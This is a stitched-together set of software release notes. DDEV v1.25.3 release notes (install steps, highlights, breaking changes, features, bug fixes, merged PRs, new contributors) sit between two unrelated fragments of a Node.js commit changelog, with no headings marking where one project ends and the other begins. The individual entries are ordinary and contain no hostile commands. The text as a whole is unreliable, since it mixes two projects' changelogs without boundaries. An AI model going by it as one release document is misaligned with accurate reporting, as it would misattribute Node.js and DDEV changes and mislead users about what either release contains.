• [f7adcd8359] - stream: respect iter consumer abort signals (Trivikram Kamat) #63997
• [b09e624c6f] - test: make blob desiredSize assertion robust (Trivikram Kamat) #64106
• [d0d8f0c774] - test: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) #64037
• [ff9122c20c] - test: improve lcov reporter snapshot diagnostics (Trivikram Kamat) #64049
• [570952d4f3] - test: keep finalization close fixture ref alive (Trivikram Kamat) #64085
• [1b4f213380] - test: fix typo from overriden to overridden (parkhojeong) #63403
• [4c91090b8b] - test: fix typo from funciton to function (parkhojeong) #63403
• [bf080c7917] - test: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) #64054
• [24e32098c5] - test: use one-off agent in http consumed timeout test (Trivikram Kamat) #64052
• [3229886de2] - test: fix flaky test-runner coverage threshold test (Trivikram Kamat) #64051
• [83b91ea6ec] - test_runner: filter execArgv fallback for child tests (Trivikram Kamat) #64056
• [269b609a3d] - test_runner: improve coverage failure diagnostics (Trivikram Kamat) #64050
• [0342744c34] - test_runner: add timestamp to JUnit reporter testsuites (sangwook) #64029
• [086741d121] - timers: reuse Timeout objects in setStreamTimeout (Matteo Collina) #64254
• [4e0236dc3d] - (SEMVER-MINOR) tls: report negotiated TLS groups (Filip Skokan) #64119
• [3bdd7e20be] - tls: handle large RSA exponents in X.509 cert (Tobias Nießen) #64093
• [c96c838977] - tools: update RUSTC_VERSION for remaining GHA workflows (René) #64325
• [ee873b7aaf] - tools: bump temporal_rs version (Antoine du Hamel) #63281
• [ea3b870155] - tools: remove envinfo from our workflows (Antoine du Hamel) #64259
• [d940f02e8b] - tools: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) #64249
• [fe0ea2bb5d] - tools: bump @node-core/doc-kit (dependabot[bot]) #64010
• [4dceefde1e] - tools: bump undici from 6.24.1 to 6.27.0 in /tools/doc (dependabot[bot]) #64031
• [6e187db7d7] - tools: update c-ares updater script (Antoine du Hamel) #64194
• [657a35f5a2] - tools: validate version number in release proposal commit message lint (Antoine du Hamel) #64070
• [17228a861c] - tools: add GHA benchmark runner (Antoine du Hamel) #60293
• [6d11a71d91] - tools: update build-shared/action.yml to a reusable workflow (Antoine du Hamel) #64059
• [7a17c50b7f] - tools: update libffi updater script (Antoine du Hamel) #64046
• [28047a3e71] - tools: exclude libffi changes from test-shared GHA CI (Antoine du Hamel) #64047
• [58d9685acc] - typings: add typing for crypto (Filip Skokan) #64122
• [7a9dcad44d] - util: fix OOM in inspect color stack formatting (Ijtihed Kilani) #64022
• [d5f01bbbde] - vfs: reject rename into descendant directory (Trivikram Kamat) #64285
• [0b6af91081] - vfs: handle current-position sentinel in memory files (Trivikram Kamat) #64163
• [322230d641] - vfs: support writeFileSync with virtual fds (Trivikram Kamat) #64165
• [9395d209c7] - vfs: avoid recursive readdir symlink cycles (Matteo Collina) #64168
• [bbdd7643b6] - vfs: read RealFSProvider files from open fd (Trivikram Kamat) #64104
• [92859b8097] - vm: fix copying PropertyDescriptor (Chengzhong Wu) #64073
• [9046035475] - zlib: validate flush king for all streams (Ic3b3rg) #63746
• [98be4304a3] - zlib: validate flush kind for brotli streams (Ic3b3rg) #63746
• [90007a59a9] - zlib: expose rejectGarbageAfterEnd option (Filip Skokan) #64023
• [5933516066] - zlib: reject trailing gzip members in web streams (Filip Skokan) #64023

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the Windows Installer; you can run it for install or upgrade.
  ⚠️ Traditional Windows users (not WSL2): If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

Highlights

Blog announcement: https://ddev.com/blog/release-v1-25-3/

• New Docker Compose library: Improved UX during ddev start and ddev stop; the separate ~/.ddev/bin/docker-compose binary is no longer needed and can be removed
• Faster ddev start: Reduced startup time by running post-healthcheck tasks concurrently, thanks to @jonesrussell
• Faster ddev stop: Fixed a bug in the webserver startup script that added an unnecessary ~10-second delay
• MariaDB 12.3 LTS support
• Podman and Docker rootless are no longer experimental: Both are now stable and ready for general use:
  • macOS (Podman rootless)
  • Linux/WSL2 (Docker rootless)
  • Linux/WSL2 (Podman rootless)

Breaking Changes

• Remove support for XDG_CONFIG_HOME, replaced by DDEV_XDG_CONFIG_HOME. Support for ~/.config/ddev on Linux is unchanged. This change was needed because some IDEs, such as PhpStorm, don't always see XDG_CONFIG_HOME set in the terminal (see this issue), which caused the IDE to recreate the ~/.ddev directory repeatedly
• Use stricter permissions for world-writable directories inside ddev-webserver. If you had post-start hooks that wrote to /usr/local/bin, update them to use ~/.local/bin instead, thanks to @AkibaAT
• Move N_PREFIX from /usr/local to /usr/local/n. This shouldn't affect most people, unless you referenced a full path such as /usr/local/bin/npm - the new location is /usr/local/n/bin/npm, or simply use npm without a full path
• Remove the ddev dr alias for ddev drush, since dr is now a built-in command for Drupal 11.4+

Features

• Node.js improvements: preserve nodejs_version in .ddev/config.yaml, and install several Node.js versions with n install <version> inside the web container
• Docker rootless on Linux no longer requires no-bind-mounts; disable it with ddev config global --no-bind-mounts=false
• Support the gvisor-tap-vsock network driver in Docker rootless
• Add new ddev dr command for Drupal 11.4+
• Allow using Mutagen together with ddev config global --use-hardened-images=true
• ddev version and ddev config now work even when Docker isn't running or is broken, and ddev poweroff shows progress output instead of appearing to hang
• Improve ddev list and ddev describe layout on narrow terminals
• Add OSC 8 terminal hyperlink support to ddev list, ddev describe, ddev add-on list, and ddev add-on search
• Show human-readable output when checking available disk space, thanks to @wolcen
• Always pull images when using ddev start --no-cache
• Respect the COMPOSER_NO_BLOCKING environment variable from the host in ddev composer
• Add ddev config global --docker-buildx-version to specify which Docker Buildx version to use (advanced use only)
• Respect docker-buildx installed via snap on Linux
• Support Debian, Kali, and eLxr WSL2 distros in the Windows installer, and avoid installing docker-ce over an existing Docker Desktop docker binary
• Add ddev utility addon-update-checker command for add-on maintainers
• Add #ddev-interactive option for add-on actions, thanks to @AkibaAT
• Add x-ddev.omit-ddev-labels extension to skip com.ddev.* label injection for specific services
• Support the Flatpak user binary for DBeaver on Linux, thanks to @nickchomey
• Add a quickstart for Drupal 12 (HEAD), thanks to @rpkoller
• Add troubleshooting for Let's Encrypt certificate failures, thanks to @jonpugh

Bug Fixes

• Windows installer: fix installation on WSL2 Ubuntu 26.04, which previously failed due to the deprecated wslu package
• Suppress 404 logs for favicon.ico and robots.txt; in some cases these caused Nginx to run a PHP script twice
• Prevent recursion in global web command wrappers
• Use the correct settings.ddev.php for each Drupal version
• Fix a bug where .ddev/apache/apache-site.conf went missing when using a custom Nginx config
• Detect a missing docker CLI, which is required when using Mutagen
• Limit the ENV HOME="" workaround for MySQL 8.x to the database context only
• Podman and macOS: restrict the keep-id userns setting to Linux only
• Use the nodejs_version set during the ddev-webserver image build; if you installed global npm packages in post-start hooks, move them to extra Dockerfiles instead
• Use wrapper scripts in ddev-dbserver to avoid mysql deprecation warnings with MariaDB 11.x+
• Warn when the CAROOT environment variable is set but the mkcert CA files (needed for HTTPS in your browser) are inaccessible
• Normalize OSTYPE detection on Linux, thanks to @Mikee-3000
• Avoid double-sourcing bashrc configuration in ddev ssh
• Skip OS-generated metadata files (.DS_Store, Thumbs.db, desktop.ini) during custom-config detection and in .ddev/.gitignore
• Restore path autocompletion for ddev add-on get
• Don't prompt to run ddev poweroff after updating ddev-ssh-agent
• Fix a case typo in ddev sequelace so Sequel Ace is detected on case-sensitive macOS filesystems, thanks to @mficzel

Internal Changes

• Migrate DDEV documentation from Material for MkDocs to Zensical
• Upgrade Bubble Tea (ddev tui) to v2
• Add light/dark/system preference variants for the brand logo
• Remove automated testing on macOS Intel; macOS amd64 binaries are still built and distributed, only CI testing on Intel hardware is removed
• Add automated testing for macOS Podman rootless
• Improve the test embargo system for Go, Bats, and CI workflows; tests can now be skipped when needed
• Add custom GitHub workflows to run tests on branches without opening a PR
• Rework local HTTP test helpers for clearer failure output
• Remove the build step for the Docker image used in ddev auth ssh
• Bump all Go dependencies

Minor Updates

• PHP 8.4.22 and 8.5.7

What's Changed

• test: Reenable Drupal 12 bats test (#8346) [skip ci] by @rpkoller in #8346
• chore(claude): fix PreToolUse hook matcher for git commit static analysis (#8345) [skip ci] by @stasadev in #8345
• docs(add-ons): Minor updates to creating-add-ons.md by @rfay in #8347
• perf: combined startup time optimizations, for #8096 by @jonesrussell in #8145
• fix(windows): remove wslu from installer, fixes #8326 by @stasadev in #8351
• fix(webserver): replace phar.io/filippo.io links with GitHub releases, improve Dockerfile, for #8012 by @stasadev in #8352
• docs(quickstart): add a quickstart for Drupal 12 (#8357) [skip ci] by @rpkoller in #8357
• feat(docker): always pull images with --no-cache by @stasadev in #8363
• fix(download-images): pull webserver image, for #8304 by @stasadev in #8358
• fix(start): use image digest for rebuild detection, fix rand and ssh-agent data races, for #8145 by @stasadev in #8359
• fix(test): skip TestCheckLiveConnectivityWithProject on Rancher/Colima/Lima, fix misleading WSL2 labels by @rfay in #8365
• docs(windows): add WSL2 installation step to Docker docs by @stasadev in #8355
• chore: fix claude hooks and update agent docs [skip ci] by @rfay in #8370
• chore: remove macOS amd64 CI testing (#8372) [skip ci] by @rfay in #8372
• fix(drupal): use configured project type for settings.php version selection by @rfay in #8366
• ci: run golangci-lint by @stasadev in #8375
• docs(mutagen): explain how to reset to the default mode, fixes #8367 by @silverham in #8368
• docs(configuration): Add ddev config --database=<database type>:<version> example command (#8387) [skip ci] by @silverham in #8387
• build: bump fuxingloh/multi-labeler from 4 to 5 (#8385) [skip ci] by @dependabot[bot] in #8385
• docs: clarify --cleanup --name for single snapshot deletion (#8384) [skip ci] by @CallMeLeon167 in #8384
• docs(add-ons): add real example for bats testing (#8377) [skip ci] by @stasadev in #8377
• fix(commands): normalize $OSTYPE detection for linux, fixes #8382 by @Mikee-3000 in #8383
• docs: Add Xcode iOS simulator info (#8371) [skip ci] by @jamesmacwhite in #8371
• feat(utility): add ddev utility addon-update-checker command by @stasadev in #8373
• fix(add-ons): autocomplete for path by @stasadev in #8376
• test(wsl2): fix TestHostDBPort by @stasadev in #8391
• test(windows): fix TestUtilityAddonUpdateCheckerCmd, for #8373 by @stasadev in #8394
• docs(quickstart): Add description to Drupal Git clone example by @gitressa in #8395
• fix(ddev-webserver): ddev stop takes 10s due to bash deferring SIGTERM during foreground cat, fixes #8295 by @rfay in #8396
• docs: unify homeadditions path resolution and Composer auth.json handling by @eiriksm in #8400
• docs(providers): align --environment examples and flags, fixes #8402 by @stasadev in #8403
• test(share): improve cloudflared debug output on unmarshal errors by @rfay in #8398
• ci(github): reorganize test jobs, add custom workflow_dispatch, remove unused workflows by @stasadev in #8401
• feat(add-on): add #ddev-interactive option for actions, fixes #8155 by @AkibaAT in #8381
• refactor(tui): upgrade bubbletea/bubbles/lipgloss to v2 by @stasadev in #8404
• ci: add DDEV_EMBARGO_PHP_VERSIONS to skip specific PHP versions in TestPHPConfig [skip ci] by @rfay in #8407
• feat: use docker-compose library, optionally download docker-buildx, fixes #7915, for #8295 by @stasadev in #8234
• ci(docs): add stable docs branch workflow, fixes #7862 by @stasadev in #8408
• ci(forks): fetch variables from public-variables branch by @stasadev in #8410
• ci(wsl2): read public-variables in pwsh, for #8410 by @stasadev in #8411
• ci: improve test embargo system for Go, bats, and CI workflows by @stasadev in #8413
• docs(config): improve wording for database and docker_buildx_version, for #8387 by @stasadev in #8409
• refactor: improve CheckAvailableSpace reliability and output, fixes #8388 by @wolcen in #8412
• ci(buildkite): fix MSYS path conversion breaking public-variables fetch on Windows, for #8410 by @stasadev in #8416
• docs(brand-guide): add light, dark, and auto logo variants to logos table, fixes #8417 by @stasadev in #8419
• feat(docs): migrate from mkdocs-material to zensical, fixes #7840, fixes #8216 by @stasadev in #8421
• docs(add-ons): mention #ddev-generated in quickstart by @chx in #8420
• ci(docs): enable zensical strict mode, use dynamic Pages base URL, for #8421 by @stasadev in #8423
• fix(ddev-dbserver): unlink stale socket before mysqld init by @stasadev in #8424
• test: add details to TestCmdAddonPHP by @stasadev in #8425
• chore(sponsors): update percentage and api link [skip ci] by @stasadev in #8427
• ci(pr): migrate to ddev/commit-message-checker@v3 by @stasadev in #8428
• test(lima): fix broken cleanup in TestCmdAddonPHP, for #8425 by @stasadev in #8430
• fix: replace remaining world writeable directories, fixes #8251 by @AkibaAT in #8379
• chore(composer): add COMPOSER_NO_BLOCKING by @stasadev in #8432
• fix(exec): allocate TTY only when stdout is also a terminal, for #8234 by @stasadev in #8431
• feat(docker-rootless): remove no-bind-mounts requirement, test gvisor-tap-vsock by @stasadev in #8426
• build: pin Node.js to 24.15.0, fixes #8436 by @stasadev in #8438
• test(linux): wait for nc to bind before asserting in port-diagnose tests by @stasadev in #8446
• test: rework local HTTP test helpers with clearer failure output by @stasadev in #8447
• fix(nodejs): move install to Dockerfile, add ~/n/bin to PATH, fixes #8414, fixes #8415 by @stasadev in #8443
• fix(zensical): retry strict build on false-positive "page does not exist" warnings by @stasadev in #8451
• ci(linux): use full homebrew formulae name, fixes #8450 by @stasadev in #8455
• test(quickstart): update asterios page check by @stasadev in #8454
• feat: add MariaDB 12.3 LTS support, fixes #8452 by @rfay in #8453
• fix(dbserver): use wrapper scripts for MariaDB 11.x+ MySQL compat, fixes #6861 by @stasadev in #8456
• test(buildkite): Fix brew upgrade to use -y for new 6.0.0 release, fix setup-homebrew by @rfay in #8469
• build(gnupg): Remove references to obsolete gnupg2 by @rfay in #8475
• fix: recreate service on ddev utility rebuild -s, support profile services by @stasadev in #8463
• fix(nodejs): preserve nodejs_version in config.yaml, fixes #8186 by @stasadev in #8462
• fix(nodejs): move N_PREFIX to /usr/local/n and make it writable, fixes #8465 by @stasadev in #8467
• fix(nginx): suppress favicon.ico and robots.txt 404 logs, fixes #7010 by @stasadev in #8461
• fix(ssh): use RawCmd to avoid double-sourcing bashrc, fixes #5232 by @stasadev in #8460
• docs: install util-linux-extra in Docker setup, fixes #8350 (#8480) [skip ci] by @rfay in #8480
• feat: improve ddev list/describe table layout, add OSC 8 terminal hyperlinks, fixes #5535, fixes #6113 (#8474) [skip ci] by @rfay in #8474
• fix: skip OS-generated metadata files in custom-config detection and .ddev/.gitignore, fixes #8418 (#8478) [skip ci] by @rfay in #8478
• fix(mutagen): detect missing docker CLI early, fixes #8457 by @rfay in #8479
• docs(docker): add troubleshooting for permission denied, for #8471 (#8483) [skip ci] by @stasadev in #8483
• test(quickstart): update shopware6 by @stasadev in #8482
• fix: warn when CAROOT is set but CA files are inaccessible, fixes #8485 (#8486) [skip ci] by @rfay in #8486
• fix(tui): prevent docker/cli stdin from consuming TUI shortcuts, fixes #8440 by @stasadev in #8489
• fix: add /usr/local/n/bin to sudo secure_path, fixes #8488 by @stasadev in #8490
• fix(start): show warnings from log-stderr.sh on start, fixes #8441 by @stasadev in #8481
• build(deps): bump go dependencies, migrate to go-github v88 by @stasadev in #8492
• test(quickstart): pin @sveltejs/adapter-node@5.5.4 by @stasadev in #8497
• test(docs): Ignore link check URLs [skip ci] by @rfay in #8499
• build: bump actions/checkout from 6 to 7 (#8504) [skip ci] by @dependabot[bot] in #8504
• fix: restrict XDG_CONFIG_HOME to Linux, add DDEV_XDG_CONFIG_HOME for cross-platform overrides, fixes #8493 by @rfay in #8494
• fix(webserver): prevent recursion in global web command wrappers, for #6902 by @stasadev in #8495
• fix(nodejs): always install gulp-cli and yarn, fixes #8496 (#8498) [skip ci] by @stasadev in #8498
• feat(windows): support Debian and Kali WSL2 distros in GUI installer, fixes #8439, fixes #8468 by @rfay in #8464
• build: Fix gomt error that crept in [skip ci] by @rfay in #8509
• test: Add script to compare start time performance [skip ci] by @rfay in #8510
• test(quickstart): remove pin for @sveltejs/adapter-node, for #8497 by @stasadev in #8511
• ci(github): add brew sandbox setup, remove obsolete env, for #8469 by @stasadev in #8512
• fix(mysql): guard ENV HOME injection to db context only, fixes #8508 by @stasadev in #8513
• fix(docker): do not cache build on start, fixes #8433 by @stasadev in #8506
• feat(drupal): Support new dr command built into drupal11.4+, fixes #8500 by @rfay in #8507
• fix(dbeaver): Add flatpak user binary path to search list, fixes #8517 by @nickchomey in #8518
• refactor(auth-ssh): remove build step, fixes #8501 by @stasadev in #8503
• feat: allow mutagen with use-hardened-images, for #3680 by @stasadev in #8491
• feat(docker): respect docker-buildx from snap on linux, fixes #8515 by @stasadev in #8519
• docs: replace newgrp with sg for docker group activation, fixes #8350 by @rfay in #8524
• fix(commands): correct case typo in ddev sequelace, fixes #8521 (#8522) [skip ci] by @mficzel in #8522
• build(deps): bump moby and docker-compose by @stasadev in #8523
• docs: skip codeberg, use stable link for docs in github workflows (#8528) [skip ci] by @stasadev in #8528
• build: remove pin for Node.js, for #8438 by @stasadev in #8527
• fix(start): do not ask for poweroff with new ddev-ssh-agent, fixes #8520 by @stasadev in #8525
• ci(podman): update workflow for Podman 6 by @stasadev in #8526
• fix(podman): restrict keep-id userns to Linux only, fixes #8223, fixes #8529 by @stasadev in #8516
• docs: Remove link to very old processwire thread (#8533) [skip ci] by @rfay in #8533
• fix: continue when #ddev-generated is missing in generate config functions, for #2305 by @stasadev in #8532
• docs: Ignore winaero.com, cert expired [skip buildkite] (#8537) [skip ci] by @rfay in #8537
• ci: add macOS Podman rootless Buildkite pipeline, for #8223 (#8530) [skip ci] by @rfay in #8530
• test(auth-ssh): harden ddevauthssh.expect against passphrase prompt race by @stasadev in #8536
• build: bump actions/cache from 5 to 6 (#8538) [skip ci] by @dependabot[bot] in #8538
• fix: stop honoring XDG_CONFIG_HOME on Linux too, use DDEV_XDG_CONFIG_HOME, fixes #8493 by @stasadev in #8531
• fix: correct typos in global and project config comment docs (#8541) [skip ci] by @stasadev in #8541
• test: fix TestCheckForMultipleGlobalDdevDirs on Windows, for #8531 (#8542) [skip ci] by @rfay in #8542
• feat: add x-ddev.omit-ddev-labels to skip com.ddev.* label injection, fixes #8389 by @stasadev in #8540
• build(docker): bump images to v1.25.3 for release, fixes #8544 by @stasadev in #8547
• ci(buildkite): trim podman machine and run maintenance post-test (#8551) [skip ci] by @stasadev in #8551
• docs(typo3): require Camino theme, drop empty distribution prompt (#8548) [skip ci] by @rfay in #8548
• docs(hosting): add guidance for Let's Encrypt failures by @jonpugh in #8543
• docs(docker): add Podman and Docker rootless setup, fixes #8434 by @stasadev in #8552
• ci(macos): untap pre-installed aws/tap before brew install by @rfay in #8559
• docs(wsl2): use Ubuntu-26.04 instead of Ubuntu-24.04, for #8326, for #8408 by @stasadev in #8553
• fix(webserver): restore nonstandard router port in HTTP_HOST for nginx-fpm, fixes #8554 by @rfay in #8555
• fix(router): temp pin for traefik:3.6.13, for #8562 by @stasadev in #8564
• fix(shopware): pin Twig <3.28 to work around admin HTTP 500 by @rfay in #8557
• docs: add TYPO3 special handling for ddev share, fixes #7799 by @rfay in #8556

New Contributors

• @silverham made their first contribution in #8368
• @CallMeLeon167 made their first contribution in #8384
• @Mikee-3000 made their first contribution in #8383
• @wolcen made their first contribution in #8412
• @chx made their first contribution in #8420
• @mficzel made their first contribution in #8522
• @jonpugh made their first contribution in #8543

Full Changelog: v1.25.2...v1.25.3

• [cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
• [b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
• [417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in closeIdleConnections (semimikoh) #63470
• [fbb108be7d] - (SEMVER-MINOR) loader: implement package maps (Maël Nison) #62239
• [45494d5a8a] - (SEMVER-MINOR) net: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) #63825
• [ee29465e77] - (SEMVER-MINOR) tls: add certificateCompression option (Tim Perry) #62217
• [b17817eb2b] - (SEMVER-MINOR) vfs: dispatch node:fs/promises to mounted VFS instances (Matteo Collina) #63537
• [7bc93a6ac5] - (SEMVER-MINOR) vfs: add minimal node:vfs subsystem (Matteo Collina) #63115

Commits

• [c7eb83b46a] - benchmark: add child_process async path baselines (Yagiz Nizipli) #63929
• [066fff17a5] - benchmark: remove old alias usage in ffi benchmarks (Anna Henningsen) #63666
• [509cd1b94f] - buffer: optimize Buffer.prototype.copy (Robert Nagy) #63828
• [86e651bbd0] - buffer: use simdutf for two-byte utf8 byteLength (Mert Can Altin) #63639
• [d3f4ed9015] - build: suppress compiler warnings for histogram (Richard Lau) #63980
• [82dd7ddbe6] - build: add QUIC CI job for PRs matching QUIC related paths (Tim Perry) #63875
• [1124c0652d] - build: remove redundant intermediate node_aix_shared (Chengzhong Wu) #63747
• [e510ee8087] - build: build codecache and snapshot with libnode (Chengzhong Wu) #63626
• [5b583dace5] - build: enable maglev by default on Linux ppc64le (Richard Lau) #63474
• [a2324246b4] - build: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) #63629
• [2a467a5f69] - Revert "build, doc: generate node.1 with doc-kit" (Antoine du Hamel) #64091
• [e01dec45b8] - build, doc: generate node.1 with doc-kit (Aviv Keller) #62044
• [2ab9848fe4] - child_process: pass spawn options to the binding positionally (Yagiz Nizipli) #63930
• [04c04c8b5c] - child_process: serialize advanced IPC messages natively (Yagiz Nizipli) #63933
• [1eef57293d] - crypto: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) #63988
• [788a66e147] - crypto: share WebCrypto method and usage helpers (Filip Skokan) #63975
• [f9fdce3f46] - crypto: use EVP_MAC for HMAC on OpenSSL >=3 (Filip Skokan) #63942
• [7e9ca87e58] - crypto: make webcrypto aliasKeyFormat directional (Filip Skokan) #63910
• [656e57ebbf] - crypto: fix unhandled error in Hash._transform (Haram Jeong) #63261
• [65536f0d98] - crypto: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) #63622
• [978f1d2bcc] - crypto: handle cipher context allocation failures (Tian Teng) #63542
• [5551e8f773] - crypto: deduplicate X509 subject matching logic (Tobias Nießen) #63644
• [57ae87640a] - crypto: fix warnings in test_node_crypto.cc (Maya Lekova) #63490
• [9984b05dff] - crypto: coerce -0 to +0 before native calls (Filip Skokan) #63556
• [88011a3689] - crypto,tls: do not ignore BN_get_word error (Tobias Nießen) #63895
• [9a3393d14f] - debugger: lazily wait for initial break output (Trivikram Kamat) #63969
• [b0bfcb9c59] - debugger: defer probe pause handling until startup (Trivikram Kamat) #63608
• [8516003953] - debugger: await initialization after run and restart (Trivikram Kamat) #63607
• [4438cb5284] - debugger: add --max-hit option to probe mode (Joyee Cheung) #63704
• [238b54ed2a] - debugger: add more logs to probe mode (Joyee Cheung) #63663
• [bbef54b413] - deps: libffi: cherry-pick 9ca53a19833d (Anthony Green) #64040
• [9761385dbd] - deps: update libffi to 3.6.0 (Node.js GitHub Bot) #64040
• [373ec2d092] - deps: update acorn to 8.17.0 (Node.js GitHub Bot) #63901
• [e44b5d487e] - (SEMVER-MINOR) deps: update OpenSSL build config to support compression (Tim Perry) #62217
• [3ed287a2e2] - deps: upgrade npm to 11.17.0 (npm team) #63857
• [b1b597c797] - deps: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) #63821
• [0bf8e12305] - deps: V8: add CopyArrayBufferBytes API (Robert Nagy) #63828
• [e49d7301a5] - deps: update ngtcp2 to 1.23.0 (Node.js GitHub Bot) #63777
• [e5c079004b] - deps: update nghttp3 to 1.16.0 (Node.js GitHub Bot) #63776
• [d599fa2346] - deps: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) #63775
• [bc09f1508c] - deps: update sqlite to 3.53.2 (Node.js GitHub Bot) #63774
• [60787746c4] - deps: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) #63773
• [971af104f1] - deps: update amaro to 1.1.10 (Node.js GitHub Bot) #63670
• [e17f665444] - deps: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) #63669
• [7591949457] - dgram: add synchronous Socket connectSync() (Guy Bedford) #63932
• [d75222d7cb] - dgram: add synchronous Socket.prototype.bindSync() (Guy Bedford) #63838
• [0cf8342ae2] - dns: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) #63556
• [e068299320] - doc: update gcc toolchains to gcc-13 and g++-13 (Louie Llaneta) #64018
• [65178bdcf3] - doc: add aduh95 to last security release steward (Antoine du Hamel) #63981
• [83eedfe85b] - doc: fix typo in util.md (Daijiro Wachi) #63961
• [54948c78e7] - doc: clarify callback exceptions (Matteo Collina) #63939
• [205d0a57f2] - doc: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) #63656
• [44809b176c] - doc: clarify fromReadable() duck-typed contract (Trivikram Kamat) #63682
• [9cb15fcc85] - doc: fix typo in cli.md (Daijiro Wachi) #63883
• [394d0bb928] - doc: fix typo in vm.md (Daijiro Wachi) #63881
• [59b7be8193] - doc: fix typo in packages.md (Daijiro Wachi) #63882
• [33c236cea9] - doc: fix a/an article typos in module, util, and dns (Daijiro Wachi) #63766
• [30595da67b] - doc: update npm supported versions link (hojeong park) #63672
• [5919ba7e97] - doc: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) #63717
• [51cab5cb72] - doc: add webstreams to args for pipeline from stream/promises (David Sanders) #63628
• [ce85b2af88] - doc: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) #63700
• [298735e8df] - doc: mark Node.js 25 as End-of-Life (Antoine du Hamel) #63692
• [56948518b9] - doc: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) #63438
• [32ff731248] - doc: add worker_threads history entries (Bob Put) #63545
• [cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
• [d29483fc4f] - doc,crypto: mark argon2 and encap/decap as stable (Filip Skokan) #63924
• [6e668331d9] - events: improve addAbortListener perf by caching options object (Raz Luvaton) #52367
• [97aafe2519] - ffi: add fast support for almost all other platforms (Paolo Insogna) #63941
• [f52cf5eeaa] - ffi: add experimental fast FFI call API for AArch64 and x86_64 (Paolo Insogna) #63068
• [d9461fee05] - ffi: port semi-colon fix for riscv64 (and others) (Stewart X Addison) #63794
• [4c8402e0a8] - fs: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) #63709
• [b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
• [3d0097d489] - fs: prevent spurious recursive watch events on prefix siblings (Marco) #63095
• [14d829cb3c] - fs: ignore deleted dirs in recursive watch scan (Trivikram Kamat) #63686
• [ceba08a1ea] - fs: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) #63556
• [6577d3b282] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
• [417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in closeIdleConnections (semimikoh) #63470
• [b7fd13a59a] - http2: retain header memory in session accounting (Matteo Collina) #63752
• [e611ccd167] - inspector: fix inspector.close() documented behavior (Chengzhong Wu) #63837
• [a44f51eef3] - lib: fix missing lazyDOMException import (Filip Skokan) #64033
• [27cc4ec598] - lib: add lint rule to enforce use of kEmptyObject (Antoine du Hamel) #63790
• [7ee31b0bf4] - lib: improve control abstraction coverage in frozen intrinsics (Renegade334) #63698
• [078457839a] - lib: add Iterator global to primordials (Renegade334) #63698
• [58837dc4dd] - lib: remove source map deadcode in type stripping (Chengzhong Wu) #63738
• [e7513a8b9e] - lib: make Navigator#language getter throw on invalid this (Mohamed Sayed) #63601
• [fbb108be7d] - (SEMVER-MINOR) loader: implement package maps (Maël Nison) #62239
• [ea0b8e1dc2] - meta: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) #63724
• [ac90719532] - meta: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) #62847
• [3ed3de3062] - meta: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) #63726
• [d08d57bf70] - meta: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) #63725
• [e748d192cf] - meta: bump cachix/cachix-action (dependabot[bot]) #63729
• [10554eb131] - meta: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) #63728
• [791885f2af] - meta: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) #63727
• [32d9a407d9] - meta: bump cachix/install-nix-action from 31.10.5 to 31.10.6 (dependabot[bot]) #63723
• [b97c7bed07] - module: enable existing machinery for deferred import of static modules (Maya Lekova) #63712
• [4becad2117] - module: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) #63705
• [c71c85b95f] - net: early TCP binding via synchronous net.BoundSocket (Guy Bedford) #63951
• [45494d5a8a] - (SEMVER-MINOR) net: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) #63825
• [3988efa1f3] - net: coerce -0 to +0 in BlockList prefixes (Filip Skokan) #63556
• [484efd1c44] - quic: fix get_reader bug that dropped data on FIN (Tim Perry) #63946
• [04a17fe6f0] - quic: expose QUIC certificates as JS X509Certificate, not raw handles (Tim Perry) #63191
• [b62d5696dc] - quic: fix reader backpressure deadlock on idle connections (Tim Perry) #63950
• [3f1c8d7453] - quic: fix broken listEndpoints export, test callbacks & nghttp3 include (Tim Perry) #63874
• [d8538b9deb] - quic: impl. cb for http/3 settings/app. options (Marten Richter) #63558
• [643b19716e] - quic: add listEndpoints API (James M Snell) #63536
• [2bce35bea4] - sqlite: do not leave database open after failed open (Yagiz Nizipli) #63854
• [394af52abb] - sqlite: fix stack-use-after-scope with function callback (ndossche) #63640
